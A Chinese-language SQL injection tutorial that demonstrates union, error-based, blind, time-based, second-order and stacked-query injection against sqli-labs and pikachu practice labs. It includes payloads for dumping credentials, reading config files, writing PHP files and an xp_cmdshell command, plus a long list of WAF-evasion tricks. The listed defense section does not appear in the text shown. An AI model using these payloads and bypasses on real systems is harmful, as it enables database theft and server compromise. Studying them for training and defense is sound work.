SQL注入
- 一、数据库类型(MYSQL为例)
- 1、信息收集
- 2、数据注入
- 3、高权限注入
- (1)跨库查询
- (2)文件读取
- 二、提交方法
- 1、GET类型
- 2、POST类型
- 3、COOKIE类型
- 4、REQUEST类型
- 5、HTTP类型
- 三、数据类型
- 1、数字型注入
- 2、字符型注入
- 3、搜索型注入
- 四、查询方式
- 1、select
- 2、insert
- 3、update
- 4、delete
- 5、order by
- 五、回显/盲注
- 1、回显注入
- 2、无回显注入(盲注)
- 3、延时注入
- 4、布尔注入
- 六、注入拓展
- 1、加解密注入
- 2、JSON注入
- 3、LADP注入
- 4、DNSlog注入
- 5、二次注入
- 6、堆叠查询
- 七、WAF绕过
- 1、更改提交方法
- 2、大小写混合
- 3、解密编码类
- (1)URL编码
- (2)十六进制编码
- (3)Unicode编码
- 4、注释符混用
- (1)普通注释
- (2)内联注释
- 5、等价函数替换
- (1)函数或变量
- (2)符号
- (3)生僻函数
- 6、特殊符号混用
- 7、借助数据库特性
- 8、HTTP参数污染
- 9、垃圾数据溢出
- 八、防御方案
- 1、代码加载过滤
- 2、WAF产品部署
一、数据库类型(MYSQL为例)
1、信息收集
1)操作系统:@@version_compile_os(不同的系统对数据库操作语句的大小写区分)
2)数据库名:database()
3)数据库用户:user()(专门管理数据库的账户),root为最高权限,容易导致跨站注入数 据。普通用户:只能注入自己网站。
4)数据库版本:version()(选择注入)
5)其他网站路径(进行文件读取,为高权限读取做准备)
案例演示(sqli-labs第二关):
payload:?id=1 and 1=1#
payload:?id=1 and 1=2#
从上面可以判断出存在sql注入
payload:?id=1 order by 3#
payload:?id=1 order by 4#
从这里可以判断出表有3个字段
payload:?id=-1 union select 1,2,3#
从这里可以判断2,3是能够回显的
payload:?id=-1 union select 1,@@version_compile_os,database()#
payload:?id=-1 union select 1,user(),version()#
从这里可以得到操作系统,数据库名,数据库版本,数据库用户
2、数据注入
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
数据库名 | 解释 |
---|---|
information_schema.tables | information_schema下面的所有表名 |
information_schema.columns | information_schema下面所有的列名 |
table_name | 表名 |
column_name | 列名 |
table_schema | 数据库名 |
案例演示(sqli-labs第二关):
猜数据库
payload:?id=-1 union select 1, group_concat(schema_name),3 from information_schema.schemata#
猜某库的数据表
payload:?id=-1 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=‘security’#
猜某表的所有列
payload:?id=-1 union select 1, group_concat(COLUMN_NAME),3 from information_schema.COLUMNs where table_name =‘users’ and table_schema=‘security’#
获取某列的内容
payload:?id=-1 union select 1, group_concat(username), group_concat(password) from users#
3、高权限注入
(1)跨库查询
打开网页进行查询当前数据库的用户
payload:?id=-1 union select 1,user(),database()#
可以看到当前用户为root拥有最高的权限
当前网站的数据库是security
获取到所有的数据库名称
payload:?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata#
指定获取pikachu库中的表名信息
payload:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘pikachu’#
获取指定数据库pikachu下的users表的列名信息
payload:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ and table_schema=‘pikachu’#
查询到指定数据
payload:?id=-1 union select 1,group_concat(username),group_concat(password) from pikachu.users#
(2)文件读取
load_file 文件读取
into outfile 或into dumpfile 文件写入
查询是否有写入的权限
show global variables like ‘%secure_file_priv%’;
Value | 说明 |
---|---|
NULL | 不允许导入或导出 |
/tmp | 只允许在 /tmp 目录导入导出 |
空 | 不限制目录 |
在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件
在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件
文件读取
payload:?id=-1 union select 1,load_file(‘c:/Windows/win.ini’),3#
读取数据库的配置信息
payload:?id=-1 union select 1,load_file(‘c:/phpStudy/WWW/sqli/sql-connections/db-creds.inc’),3#
右击查看源代码
文件写入
payload:?id=-1 union select 1,‘<?php phpinfo() ?>’,3 into outfile ‘c:/phpStudy/WWW/test.php’–+
文件写入成功
二、提交方法
1、GET类型
上面演示过不再重复
2、POST类型
案例演示(sqli-labs第11关):
输入正确的账号密码
判断是否存在注入
payload:uname=admin’ and 1=1#&passwd=1&submit=Submit
payload:uname=admin’ and 1=2#&passwd=1&submit=Submit
上述测试可以判断出存在SQL注入
判断数据库字段
payload:uname=admin’ order by 2#&passwd=1&submit=Submit
payload:uname=admin’ order by 3#&passwd=1&submit=Submit
爆出数据库名称
payload:uname=-admin’ union select 1,database()#&passwd=1&submit=Submit
后续操作跟上面演示案例一样
- 爆出数据库表名
- 爆出列名
- 爆出数据
3、COOKIE类型
演示案例(sqli-labs第20关):
使用正确的账号密码
判断是否存在SQL注入
payload:uname=admin’ and 1=1#
payload:uname=admin’ and 1=2#
上述测试可以判断出存在SQL注入
后续不在累赘
4、REQUEST类型
能够接受任何类型的提交方法
操作跟上述一样,这里不再累赘
5、HTTP类型
案例演示(sqli-labs第18关):
查看源码:
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0, 1";$result1 = mysql_query($sql);$row1 = mysql_fetch_array($result1);if($row1){echo '<font color= "#FFFF00" font size = 3 >';$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";mysql_query($insert);//echo 'Your IP ADDRESS is: ' .$IP;echo "</font>";//echo "<br>";echo '<font color= "#0000ff" font size = 3 >';echo 'Your User Agent is: ' .$uagent;echo "</font>";echo "<br>";print_r(mysql_error());echo "<br><br>";echo '<img src="../images/flag.jpg" />';echo "<br>";}else{echo '<font color= "#0000ff" font size="3">';//echo "Try again looser";print_r(mysql_error());echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg" />';echo "</font>";}
从上面的SQL语句当中我们可以看到对执行的insert语句没有任何的限制也就是说我们通过修改http的头部信息可以达到SQL注入的效果。
爆出数据库名
payload:‘and extractvalue (1,concat(0x7e,(select database()),0x7e)) and’
三、数据类型
1、数字型注入
数字型注入主要存在于网站的url中有?id=处,如:http://xxx.com/index.php?id=1 通过改变id=的数值来判断是否有注入点,一般常见测试手段是令id等于一个不常见的大数,通过页面是否变化来判断是否存在注入点。
2、字符型注入
字符型注入常见于用户登录页面或页面url中有?username=aaa 或者?password=aaa 如:http://xxx.com/index.php?username=aaa&password=bbb,对于字符型注入,常见的手段为通过闭合符和注释符的配合,绕过用户名和密码,直接获取数据库里的账号信息。前文http://xxx.com/index.php?username=aaa&password=bbb的sql语句为select * from 表 where username=‘aaa‘ and password=‘bbb‘,而进行字符型注入时,可将url修改成,http://xxx.com/index.php?username=aaa ’ and 1=1’** **–+****&password=bbb,此时通过 ’ 的闭合和–+的注释,生产的sql语句为 select * from 表 where username=‘aaa’ and 1=1 ’ 由于1=1为永真,数据库就可能返回相关信息。
3、搜索型注入
搜索型相比于数字型和字符型而言,较为特殊点,主要是进行搜索时网站没过滤搜索关键字,常见于url中的 “keyword=” 。生成的 SQL 语句:select * from 表 where 字段 like ‘%关键字%’ ,注入时,可以构造sql注入语句:select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=‘%1%’,进行注入。
if(isset($_GET['submit']) && $_GET['name']!=null){//这里没有做任何处理,直接拼到select里面去了$name=$_GET['name'];//这里的变量是模糊匹配,需要考虑闭合$query="select username,id,email from member where username like '%$name%'";$result=execute($link, $query);if(mysqli_num_rows($result)>=1){//彩蛋:这里还有个xss$html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";while($data=mysqli_fetch_assoc($result)){$uname=$data['username'];$id=$data['id'];$email=$data['email'];$html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";}}else{$html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";}
}
四、查询方式
1、select
在网站应用中进行数据显示查询操作
例:select * from news where id=$id
上面演示过了
2、insert
在网站应用中进行用户注册添加等操作
例:insert into news(id,url,text) values(2,‘x’,‘$t’)
演示案例(pikachu的“insert/update”注入):
点击提交后出现报错信息
根据报错信息构造payload
username=aaa’and updatexml(1,concat(0x7e,(select database()),0x7e),1) or’&password=123&sex=&phonenum=&email=&add=&submit=submit
3、update
会员或后台中心数据同步或缓存等操作
例:update user set pwd=‘$p’ where id=2 and username=‘admin’
演示案例(pikachu的“insert/update”注入):
注册一个账号
点击修改信息
随便输入信息,点击submit抓包
在sex中加入单引号报错
构造payload
payload:sex=1’ or updatexml(1,concat(0x7e,database()),0) or’&phonenum=1&add=1&email=1&submit=submit
4、delete
后台管理里面删除文章删除用户等操作
例:delete from news where id=$id
演示案例(pikachu的“delete”注入):
随便添加个留言
点删除并抓包
在id后面输入 and 1=1–+和and 1=2–+
and 1=1–+能够正常删除
and 1=2–+不能够正常删除
构造payload
payload:1+or+updatexml(1,+concat(0x7e,+database()),+0)
5、order by
order by 排序数据
一般结合表名或列名进行数据排序操作
例:select * from news order by $id
例:select id,name,price from news order by $order
参考链接👉(https://www.jianshu.com/p/fcae21926e5c)
五、回显/盲注
1、回显注入
回显注入就是注入结果会在网页上显示,前面都是回显注入,所以这里不再演示。
2、无回显注入(盲注)
盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断
或者尝试,这个过程称之为盲注。
3、延时注入
**原理:**延时注入就是利用sleep()语句的延时性,以页面的时间线作为判断依据,一点一点注入出数据库的信息(时间是衡量一切的标准)
案例演示(sqli-labs第5关):
判断是否有注入
payload:?id=1’ and sleep(5) --+
网页响应有延迟,代表存在注入
判断数据库名长度
payload:?id=1’ and if(length(database())=8,sleep(5),1)–+
页面延迟五秒才响应,说明数据库长度为8
根据ASCII码值判断数据库名
payload:?id=1’ and if(ascii(substr(database(),1,1))= 115,sleep(5),0) --+
页面显示延时5 秒,说明数据库名字第一个字母的ASCII 值是115,也就是字母s。
后续往下推
后续
根据网页响应时间判断,可以编写脚本来获取。
==注:==延时注入时间成本很高
4、布尔注入
原理: boolean 根据注入信息返回true or fales 没有任何报错信息
案例演示(sqli-labs第5关):
判断是否有注入
payload:?id=1’ and 1=1 – +
payload:?id=1’ and 1=2 – +
使用?id=1’ and 1=2 – +时界面显示不完整,所以存在注入点。
判断数据库名长度
payload:?id=1’ and length(database())=8 – +
从网页返回结果来看,数据库名长度为8
后续
往下的操做就是根据页面信息显示是否完整来获取信息。
建议: 使用自动化脚本获取
六、注入拓展
1、加解密注入
**原理:**SQL加解密注入,是特指一种特殊的注入形式,即注入点并没有直接把输入的信息传输到后台,而是通过进行base64编码等形式处理后,再传输到后台。
案例演示(sqli-labs第21关):
首先抓包,发现COOKIE存在base64加密
解密结果为:admin
判断是否存在注入点
payload:YWRtaW4nKSBhbmQgMT0xIw==
payload:YWRtaW4nKSBhbmQgMT0yIw==
从下面回显结果来看存在注入点
后续
后面跟正常注入一样,只需要对payload进行base64加密,这里不再演示。
2、JSON注入
原理: JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。
案例演示:
json格式提交数据访问网页
判断是否存在注入点
payload:json={“username”:“admin’ and 1=1#”}
payload:json={“username”:“admin’ and 1=2#”}
根据回显结果,可以判断存在注入点
后续
后面跟正常注入一样,这里不再演示。
3、LADP注入
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询,是X.500的一种简便的实现,是运行于TCP/IP之上的协议,端口号为:389, 加密636(SSL),这就意味着它为CS架构能够分布式部署
参考链接👉https://blog.csdn.net/qq_52643498/article/details/125490755
4、DNSlog注入
参考链接👉https://blog.csdn.net/weixin_47559704/article/details/122473265
5、二次注入
原理 主要分为两步,第一步插入恶意数据,第二部引用恶意数据,在将数据存入到了数据库中之后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,就会造成二次注入
案例演示(sqli-labs第24关):
植入我们的恶意数据
payload:admin’#
用来修改admin的密码,admin’#的初始密码设置为123
admin的原密码为admin
现在我们修改admin’#的密码为123456
查看数据库中admin的密码,可以看到被修改为123456
6、堆叠查询
原理: 在SQL中,分号(;)是用来表示一条sql语句的结束。堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
演示案例(sqli-labs第38关):
判断是否存在注入点
payload:?id=1’ and 1=1–+
payload:?id=1’ and 1=2–+
从回显结果看,存在注入点
使用堆叠注入写入文件
payload:?id=1’;select ‘<?php phpinfo();?>’ into outfile ‘c:/1.php’; --+
在文件里面可以看到我们写入的文件,说明注入成功。
七、WAF绕过
1、更改提交方法
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 或者其它的请求方式设定了不同的匹配规则,请求被拦截,变 换请求方式有几率能绕过检测
例如:
2、大小写混合
大小写绕过用于只针对小写或大写的关键字匹配技术,正则表达式/express/i 大小写不敏感即无法绕过,这是最简单的绕过技术
举例:z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情况为filter的规则里有对大小写转换的处理,但不是每个关键字或每种情况都有处理
3、解密编码类
(1)URL编码
在Chrome中输入一个连接,非保留字的字符浏览器会对其URL编码,如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过,还存在一种情况URL编码只进行了一次过滤,可以用两次编码绕过:page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
(2)十六进制编码
举例:z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4…
SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中,前者是对单个字符十六进制编码,后者则是对整个字符串编码,使用上来说较少见一点
(3)Unicode编码
Unicode有所谓的标准编码和非标准编码,假设我们用的utf-8为标准编码,那么西欧语系所使用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码:
单引号:
%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7
空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:?id=10%D6‘%20AND%201=2%23
SELECT ‘Ä’=‘A’; #1
4、注释符混用
看一下常见的用于注释的符号有哪些:*//, – , //, #, --+,-- -, ;,–a
(1)普通注释
举例:z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造得查询语句中插入注释,规避对空格的依赖或关键字识别;#、–+用于终结语句的查询
(2)内联注释
相比普通注释,内联注释用的更多,它有一个特性/!**/只有MySQL能识别
举例:index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3
?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
5、等价函数替换
有些函数或命令因其关键字被检测出来而无法使用,但是在很多情况下可以使用与之等价或类似的代码替代其使用
(1)函数或变量
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,1), 0x71) = -1
上述这几个示例用于说明有时候当某个函数不能使用时,还可以找到其他的函数替代其实现.
(2)符号
and和or有可能不能使用,或者可以试下&&和||能不能用;还有=不能使用的情况,可以考虑尝试<、>,因为如果不小于又不大于,那边是等于了
在看一下用得多的空格,可以使用如下符号表示其作用:%20 %09 %0a %0b %0c %0d %a0 /**/
(3)生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数,基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能,而且代价太大,看来黑名单技术到一定程度便遇到了限制
6、特殊符号混用
这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法,涉及信息量比前面提到的几种都要多
先看下乌云drops上“waf的绕过技巧”一文使用的几个例子:
使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限制
可见,使用这些字符的确是能做很多事,也证实了那句老话,只有想不到,没有做不到
部分可能发挥大作用的字符(未包括’、*、/等在内,考虑到前面已经出现较多次了):`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例:
关键字拆分:‘se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster…x’+'p_cm’+'dsh’+'ell ”net user”’)
!和():’ or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT) //另 Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节最后在给出一些和这些字符多少有点关系的操作符供参考:
>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情,一方面各家数据库对有效符号的处理是不一样的,另一方面你得充分了解这些符号的特性和使用方法才能作为绕过手段
7、借助数据库特性
在Mysql中,比如可以这样:
内联注释: /!12345union/select
Mysql黑魔法: select{x user}from{x mysql.user};
换行符绕过:%23%0a、%2d%2d%0a
常见有5个位置即: SELECT * FROM admin WHERE username = 1【位置一】union【位置二】select【位置三】1,user()【位置四】from【位置五】admin
参考链接👉https://blog.csdn.net/wjwjwjwcwcwc/article/details/127948440
8、HTTP参数污染
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一 些 waf 的拦截。
9、垃圾数据溢出
即传入一段长数据使waf失效,从而实现绕过waf。某些waf处理POST的数据时,只会检测开头的8K,后面选择全部放过。
例如,当发现某网站存在一个反序列化漏洞时,但是无回显,被waf拦截了